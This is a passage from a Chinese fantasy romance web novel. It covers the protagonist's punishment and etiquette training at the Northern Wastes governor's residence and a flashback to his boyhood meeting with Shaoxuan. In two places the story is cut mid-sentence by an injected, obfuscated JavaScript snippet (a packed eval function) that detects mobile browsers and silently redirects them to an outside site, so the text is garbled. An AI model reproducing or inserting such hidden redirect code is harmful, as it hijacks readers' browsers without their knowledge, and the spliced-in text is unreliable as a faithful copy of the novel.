这事,他不敢做得太偏颇,就怕被栖云君上报到帝君处,小事栖云君肯定不会报,但是这种事涉及他安危,不报,就是栖云君失职了,到时候,阿爹知道了,降下来的,必是实打实的重罚。 他想了想,一把拖过谢珩,将他按在榻上,扒掉他的裤子,直接在他臀上抽了二十下。 打完了,他抬手示意栖云君上前看。 栖云君看了一眼,见他没有徇私,真打了,才算揭过了这事不提。 “少君就算再宠华垣君,也不能让他一点规矩都不懂,现在是在北荒,一切规矩从简,但是到了太微宫,他什么规矩都不懂,一旦行差踏错,就算少君不罚,帝君知道了,也会降下责罚。”栖云君道。 “栖云君的意思是?” “臣的意思是,在内怎么样,随少君高兴就好,但是在外,该学的礼仪规矩,华垣君都得学,免得有幸蒙帝君召见时,礼仪规矩拿不出手,错失良机。”栖云君又道。 “栖云君所言甚是,此事就由栖云君负责安排吧。”少烜点头同意了。 阿蛮仗着少烜的疼爱,一向娇蛮任性,但是华垣君和天界少君,私下无所谓,有外人在时,表面上的规矩,都得清楚明白,否则闹出离谱的事来,惹得阿爹生气了,阿蛮怕不是要被重罚。 再说,阿爹哪日召见时,阿蛮礼仪规矩学得好,得了阿爹欢心,自有好处。 “栖云君,让人取点伤药过来。”少烜见谢珩挨了这顿打,因有人在,不敢大声哭,只敢在旁小声抽泣,看不下去了。 “是。” 栖云君见少君听劝,示意人取了伤药,奉到少君面前,看着他给华垣君上药,不再多啰嗦了。 少君此次前来北荒,平叛是捎带,解决心魔才是重点。 既然少君不愿挥剑斩断这段年少时的情缘,要和华垣君再续前缘,华垣君也得知道些好歹。少君如今是君上,早就不是昔年的平民少年,如今他的话,每一个字皆是钧令,华垣君能早日明白这一点,对大家来说,都是好事。 侍从们退出去后,少烜见谢珩哭得鼻子都有点红了,拿了块帕子,给他擦了擦。 “阿蛮,别哭了,以后你跟着栖云君,好好学一学礼仪规矩,你在我面前瞎折腾没事,可别在栖云君面前折腾,被他罚了我可不救你。” “嗯。”谢珩已经明白,这太微宫是非去不可了,就算少烜同意他不去,栖云君大概也不会同意,说不得还能三言两语就逼得少烜再打他一顿,自然不敢折腾了。 5. 第五章 北荒尾声 因这顿打是专门打给栖云君看的,谢珩这二十下巴掌可谓挨实了,屁股上一片火辣辣得疼,大概还肿起来了。 不过药是好药,涂了上去,就觉得那里凉凉的,只要趴着不动,也不是那么疼了。 少烜伺候他用了早膳,又问他要不要小解。 谢珩不想动,摇了摇头。 “那你歇着吧,我去处理事情,帐外有伺候的人,想要什么你自己吩咐。”少烜交代了几句,就离开了寝殿。 谢珩迷迷糊糊了一阵,醒了过来,就想小解了。 榻边的帐子低垂着,不过殿中不但有人,大概还不止一个。 谢珩想到一动就会疼,又懒得唤人,光脑袋在那里挪来挪去。 帐外的人大概知道他醒了,低声问他:“华垣君,是渴了,饿了,还是想小解?” “没事。”谢珩回道。 帐外的人没了声响,不过没过多久,有人进了殿。 来人直接走到榻边,拉开帐子。 “华垣君……” 他话还没说完,谢珩发现进来的人是栖云君,不想被他训斥,马上说道:“我想小解。” 栖云君闻言,顿了一下,让人伺候他小解,不再多说什么。 折腾完了这事,栖云君又让人服侍他吃东西。 谢珩早在先前少烜和栖云君交锋时,就意识到,这位栖云君,大概是帝君派来服侍少烜的,不但负责照顾好他的生活起居,还负有一定的监督教导上报之责。 虽然他应该不会事事上报,但是有些事,他实在看不过眼,又规劝不了少烜,最后恐怕就会有帝君来管了。 少烜都不敢硬抗的人,他哪有胆子不听话,自然,栖云君说什么就是什么。 “华垣君,既然醒了,就不要多睡了,免得到了晚间睡不着。”栖云君道,“要不,听个小曲,或者让人给你念话本子?” “念话本子吧。” “好。”栖云君又道,“华垣君,殿中有些东西需要更换,大概有点动静,还请你见谅。” “没事,栖云君请便。”殿中为啥变成这副模样,谢珩一清二楚,哪敢有意见。 很快,就有小侍从拿着几本时新话本子进来。 谢珩挑了一本,让小侍从坐在脚踏上,念给他听。 帐外有点动静,不过动静不大,谢珩听着话本子,脑中却想着别的事。 铺子该怎么处理,福宝该怎么安置,真要去太微宫,还有一堆事要去做。 午膳是栖云君看着他用的。 “少君正在设宴款待客人。”他还向谢珩解释了一句。 这日,到了下午,谢珩被少烜抱着,去观刑,就是去看谢瑾代领那三百下震魂鞭。 因为他的伤口,侍从们准备的座椅是长榻,让他可以很方便地趴在少烜怀里,而不会碰到伤口。 不过他虽然在行刑现场,但是从开始到结束,脑袋一直被少烜按在怀里,双耳被施了法术,所以他既没看到,也没听到行刑过程。 一直等到行刑完毕,谢瑾被人拖过来谢恩时,少烜才松开了按住他脑袋的手,解除了封住他双耳的法术。 他听到谢瑾虚弱的说话声,侧了一下脑袋,想看看他怎么样了。 兄弟二人,此时,一人趴在少君怀里,衣衫虽然整齐,但是这姿态,绝对算不上好看,一看就是娈宠佞幸之流,一人趴在地上,衣衫破烂浑身血迹,形容更是狼狈。 四目相对之下,谢瑾大概认出了他,眼中慢慢溢出了厌恶之色。 厌恶? 谢珩顿时觉得有些无语。 若不是谢瑾,他还守着他的铺子,虽然生意不好,但饿不死,不至于沦落到现在这个地步。 他不肯乖乖趴在少君怀里,任少君为所欲为,谢瑾你连谢恩的机会都不会有! 正在这时候,他听到少烜开口说道:“再赏一百鞭!” 说完,就抱起他,离开了行刑场。 到了夜间,少烜又帮他上了次药,有一搭没一搭地和他说了几句话,就睡着了。 谢珩白日里睡多了,到了夜间,果然如栖云君所言,睡不着了。 黑暗中,他转头看着少烜这边,只能看到一个模糊的轮廓,什么都看不清。 他知道他是天界少君,早就不是昔日的平民少年了,但是有时候,他不想分清。少烜其实也知道,他早就不是昔日的阿蛮了,但是有时候,少烜也不想分清吧。 或许,去太微宫,也不错吧,他突然这么觉得。 接下来几天,谢珩趴在榻上养伤,其他人忙忙碌碌。 栖云君领了少君的命,负责教导华垣君的礼仪规矩,自不会轻忽此事。 他准备好了上课的院子,又整了份方案,去向少君请示。 “少君,这是我给华垣君准备的礼仪授学方案,不知少君觉得是否妥当?”栖云君将方案呈到了少君案头。 少烜翻了一下,对他说道:“我仔细看下,看完了再让人给你送过去吧。” “是。”栖云君告退。 少烜翻着栖云君的方案,拿起笔,增补了不少东西,最后又写了张敕令,盖了印,才让侍从把方案和敕令一起送到栖云君那边去。 栖云君看着改过的方案,又看着那张着诸司各部通力配合的敕令,若有所思起来。 不过,他没有多说什么。 有些事,于旁人,或许了不得,但是于少君,不过是小事。 少君是帝君的爱子,并不是虚名。少君更年少一些时,帝君还颇有严父模样,一旦他犯了错,必会板着脸训他,命他面壁思过,后来少君被心魔困扰,越来越严重,近年来实力没有丝毫寸进,还隐隐有倒退之虞,帝君对他,就多是慈父心肠了。 栖云君按照少君修改的方案,重新布置了授学内容,召集了各个课程的老师,还准备好了各种授学用具,就等谢珩养好伤,来上课。 谢珩在榻上趴了三天,才算养好了伤。 他又求得少烜的恩准,花了几天时间,处理了铺子里的事。 到了第七天,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878733|191946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才去上课。 这日,侍从把他领到了上课的地方,就见栖云君在院门外等他。 见到了栖云君,谢珩抢先行礼: “栖云君!” “华垣君,其实,你不必向我行礼,而是我该向你行礼。”结果,他又被栖云君训了,栖云君向他行了一礼,才说道,“虽然不知道少君打算给你什么封号,但是哪怕是最低等的侍君,于侍从们来说,也是半君。” “我明白了。”谢珩乖乖受教。 “华垣君,这边请。”栖云君在前引路,进了上课的屋子,栖云君抬手示意,“华垣君请上坐。” 谢珩刚想开口推让,突然想到栖云君的身份论,又乖乖闭上了嘴,上前入座了。 坐好了,他才说道:“栖云君请坐。” 栖云君见他明白过来了,满意地点了点头:“多谢华垣君。” 他在侧席入座,开始上课。 课程众多,繁琐复杂,礼仪仪态举止品味谱牒珍物游玩等等都有涉及,除了讲解还有种种实战练习。有些课栖云君亲自上,有些课其他老师负责。 栖云君对练习物品的要求很高,就算以北荒总督府的财力物力,诸司各部通力配合,准备好的各种物品,也常常被他挑剔东西不对,没法学明白,精髓。 “这节课先凑合着上一下,等回了太微宫,还得补。”这是他常挂在嘴边的话。 谢珩幼时,母亲还在,他也受过诸多庭训,后来母亲去世,他被父亲接回了谢氏,反倒慢慢荒废了学业和教养。如今有人倾心相授,又愿用这世间种种顶好之物,熏陶他的品味和见识,他并非不知好歹之人,自然认真学习。 栖云君为人虽然严厉,但有问必答,还举一反三,就算他哪里做错了,也不会责打他,只是让他一遍遍练习,一直练到改正错误,所以虽然要学的东西很多,谢珩始终没有一句怨言,一丝不苟地努力完成栖云君的要求。 栖云君本来觉得,华垣君被少君宠得有些娇蛮了,上了几天课,他就发现,华垣君在其他人面前,是个性格温和做事认真的青年,他就在少君面前,会有种种娇蛮表现。 而且,他认真观察了一下,发现问题可能出在少君身上时,栖云君不想多管了,前几日,他把少君选择了再续前缘的事上报给帝君,帝君的回复就是,少君高兴就好,不要干涉他的任何选择。 毕竟,心魔是内心深处渴望的具现,无法战胜的话,满足也是一种解决方式。 谢珩认真好学,栖云君倾心相授,谢珩进步飞快,栖云君对他的态度也改观了不少,日子就在一教一学中飞快过去。 后来,谢珩回想,在北荒总督府的这段日子,大概算是他生命中难得平和的一段日子,虽然比不上红叶原的少年时代,实际上也很温馨了。 毕竟,在北荒总督府,虽然所有的侍从都称呼少烜为“少君”,但是他大部分时间还是他的少烜,而不是天宫之中那个,哪怕诸界神君见了,全部都得行礼如仪,尊称他——太微圣君。 (北荒篇完) 6. 第一章 少年初识 谢珩出生于北荒红叶城,那是北荒中部的一个小城。 他的父母家世相当,自幼相识,可谓青梅竹马。待到他们年纪长成,由双方长辈做主,成就了一段良缘,原本该成为一对神仙夫妇。 可惜,他出生了。 北荒虽然是天界的边陲之地,不管怎么说,还是天界。 天界有神君,有仙君,有凡间飞升者,有普通天人,偶尔,也有凡人。 这些凡人,并非全部鸡犬飞升者,或者大气运者误入天界,有些,是天人之间生出来的。 但是,在天界,两个天人生出了一个没有仙骨的凡人,就和两只凤凰生出了一只杂毛鸡一样,简直是一件天崩地裂的大事。 谢珩不知道,他襁褓之时,父母闹成了什么样,因为他从小就没见过父亲,有记忆时,就只有母亲带着他,在南方的一个小县城居住。 “阿蛮,不要怕,等娘钓到了盗天仙源鳟,就可以帮阿蛮重铸仙骨了。”母亲抱着年幼的他,在一片渺无人烟的水域中垂钓,试图钓到传说中的“盗天仙源鳟”,帮他重铸仙骨。 这个地点是母亲重金求来的,据说,上古时,有人在这片水域钓到过“盗天仙源鳟”。 一开始,到了夜间,母亲还会抱着他,返回县城居住,后来,母亲干脆就在水域边,搭了一个草棚,和那片水域耗上了。 从他牙牙学语,蹒跚学步,到念书识字,母亲除了偶尔带他去县城补充食物用具,他们一直住在那片水域边上。 谢珩十八岁那年,对于天人来说,无病无灾的话,寿享三千,百岁成人,十八岁的他,看着也就凡人四五岁的模样。特别是,他没有仙骨,就算沐浴在天界的灵气中,灵气也没法在体内留驻,看着比同龄人瘦弱。 那天晚上,他突然感觉到了一股奇妙的感应,仿佛有一瞬间,空气中弥漫着一股万物竞天的自由气息,然后,他就看到母亲拉起的钓竿上,挂着一条剔透如水晶的无骨小鱼。 小鱼的鱼尾摆动时,犹如诸天星辰的微光在闪动。 “盗天仙源鳟!”母亲欣喜若狂地摘下小鱼,小心翼翼地捧到他面前,“阿蛮,快服下!” 他张开嘴,那条无骨的小鱼就滑入了他的口腔,消失不见了。 “阿蛮,感觉怎么样,有没有觉得哪里疼?”母亲紧张地看着他。 谢珩摇了摇头,他什么感觉都没有。 到了第二日,朝霞升起时,他跟着母亲餐服霞气,引气入体,这些年一直在做无用功的他,突然感觉到丹田有了暖意。 “阿娘,有感觉了。”他赶紧把这个好消息告诉母亲。 “太好了,娘的阿蛮,终于有仙骨了。”母亲抱着他,笑了起来,笑着笑着,又哭了起来。 随后,母亲带着他回到了县城,过起了寻常日子。 教他读书习字,世间道理,教他引气入体,温养丹田。 虽然,他的进度,比同龄人慢了许多,毕竟后天重铸,不比先天仙骨,总有些不如意,但是看着他在缓慢进步,母亲就很高兴了。 谢珩那时候不知道,盗天仙源鳟看着像条鱼,实际上,并不是一条鱼,而是一段逆天改命的“天机”,擅改天机者,当然要付出代价。 他在缓慢进步,而母亲,却变得越来越嗜睡了。 大概又过了十几年,有一天,谢珩晨起去买菜,给母亲带了她最喜欢的米糕,回到家,看到母亲和一个男人在堂屋里对坐交谈。 “阿蛮,这是阿爹,快叫阿爹!”母亲看到他进来,微笑着说道,苍白的脸色中,有着无法掩饰的疲惫。 谢珩看着母亲鼓励的眼神,又看着那个男人,迟疑了一会儿,才开口道:“阿爹!” 谢南山愣了一下,回道:“阿珩都已经长这么大了。” 谢珩这个名字,是他和芸娘在谢珩还在芸娘肚中时就起好的名字,没想到过了这么多年,才能这么唤他。 没过多久,母亲在睡梦中离去,再也没有醒来,谢珩哭到嗓音嘶哑,也没能让她再睁眼看他一眼。 后来,父亲处理好了母亲的丧事,就把他和母亲的骨灰一起带回了广延城。 母亲和他在外的几十年间,父亲已经重新娶妻生子,在广延城安了家。 从父亲带他回家那日起,新夫人对他,谈不上有多坏,他的吃穿用度,都不比谢瑾差,身边服侍的人,也不比谢瑾少。 至于身边小厮顽劣,喜欢撺掇他干这干那,只能怪他年少心性不定,容易被人唆使怂恿吧。 谢瑾犯了错,会挨打,而他犯了错,就算父亲动怒打他,新夫人总会居中劝说。 “芸娘姐姐就这么点骨血,老爷真把他打坏了,姐姐泉下怎么安息?”每次她这么说,父亲就算生再大的气,最后只能算了。 如此这般,只知供养,疏于教养,他的少年时代,过得很是顽劣不堪。 终有一日,他与人打架,伤了对方脉络,对方家族势大,父亲费了好大劲,才摆平这事,对他发了大火:“我打死这个孽障算了。” 那一次,他挨了好大一顿打,还是新夫人劝说,父亲才没把他真的打死,随后,父亲把他送回了红叶城的老家,把他关在城外的别庄里思过。 他身上有伤时,只能乖乖待在别庄里,伤好了,别庄的这点院墙,当然关不住他。 他家的别院在一个叫红叶原的地方,此时正是秋季,漫山遍野都是红叶,胜景如画,美不胜收。 谢珩独自被关在这里思过,身边的小厮全留在了广延城,一个都没带来,所以他只能一个人溜出去玩。 他头一次来这个别庄,对周边一切都不熟,这日,他沿着一条浅浅的小径,往山下走,走着走着,路上突然看到了一只红尾鼠,这是一种小妖兽,没啥大用处,就是看着漂亮,红彤彤的尾巴,如朝霞一般耀眼。 这种妖兽在红叶原中生存,原本也算相得益彰,周边环境很能隐藏它。 偏偏谢珩眼尖,一眼就看到了它,随即屏住了呼吸,捏起法诀,悄悄靠近,准备逮住它。 红尾鼠战斗力不高,但是非常警觉,它听到有细微声响,马上就跑了。 谢珩追了过去,然后,就遇到了其他人,他们也发现了红尾鼠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878734|191946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和他争抢了起来。 谢珩没理都能和人打一架,更何况这只红尾鼠是他先发现的,他有理,更不会让,最后和人打了起来。 在广延城打架,大家都知道谁是谁,下手还有点分寸,但是在这里,大家都不知道对方是谁,所以下手很没有轻重。 对方好几个人,也是顽劣少年,把谢珩打趴下了,还踩着他的手放狠话,让他求饶,否则以后见他一次打一次。 谢珩正疼得哭时,突然听到一个声音问道:“你们在干嘛?” “不要多管闲事!”领头的顽劣少年听到问话声,转头望了一眼,见来人只是一个衣着普通的少年,恶狠狠地说道。 “他们抢我的红尾鼠!”谢珩这次真觉得自己有理,被坏人欺负了,很委屈地嚷嚷。 少烜看了眼围着人的那几个人高马大的少年,又看了眼躺地上哭花了脸的瘦弱少年,大概就凡人十五六岁的模样,这情形,不用多问,一看就是这帮顽劣少年在欺负别人,所以他没多想,就道:“把人放开!” “叫你不要多管闲事,你听不懂吗?”领头的顽劣少年手一挥,一片冰凌就飞了过去。 却见,少烜的身体没有任何动作,周边的树叶却飞了起来,挡住了冰凌。 “原来是硬渣子,一起上。”领头的少年打惯了架,对方一出手,就知道这不是善茬,马上招呼了一声。 几个少年闻言,丢下地上的谢珩,吆喝着,一起向少烜扑了过去。 然后,躺在地上的谢珩,就看到漫天的红叶飞了起来,将扑过来的少年一个个踹了出去,红叶落地,人也全落地了。 顽劣少年意识到这是境界有差距,对方不是练气后期,就是练气大圆满了,不是他们几个练气前期的小虾米,能够教训的,马上从心了。 他们嘟囔了几句狠话,就爬起来跑了。 “你没事吧?”少烜这才看向地上的谢珩。 “我的手断了,好疼!”谢珩捂着手臂说道。 少烜蹲下去,检查了一下,发现他手没断,脱臼了,试探了一下,乘他不备,咔嚓一声,帮他复位了。 又见他的手指被踩伤了,捏了个法诀,帮他清洗了一下伤口,吹了吹,才用帕子包起来了。 他这个动作,可能是无意识的,但是谢珩看到,忍不住眼眶一湿。 幼时,他摔倒了,哭唧唧,母亲也是凑过来吹了吹,哄他说,吹吹就不疼了。 “我的红尾鼠没了!”谢珩眼泪汪汪地看着他。 那只红尾鼠早就在他们打架的时候,乘机跑了。 少烜见他神色这么委屈,不知为何,鬼使神差地说了一句:“别哭了,我帮你再抓一只。” 听他这么说,谢珩心满意足了,说道:“我叫阿蛮,谢家阿蛮。你叫什么名字?” “谢家阿蛮?”少烜回道,“我叫少烜。” 那一年,谢珩初识少烜,他说,他叫阿蛮,母亲去世后,再无人唤他阿蛮,从此以后,又有人这么唤他了。 年少的他,只以为烜者,炽烈光明也,却不料,赫兮烜兮,威仪也。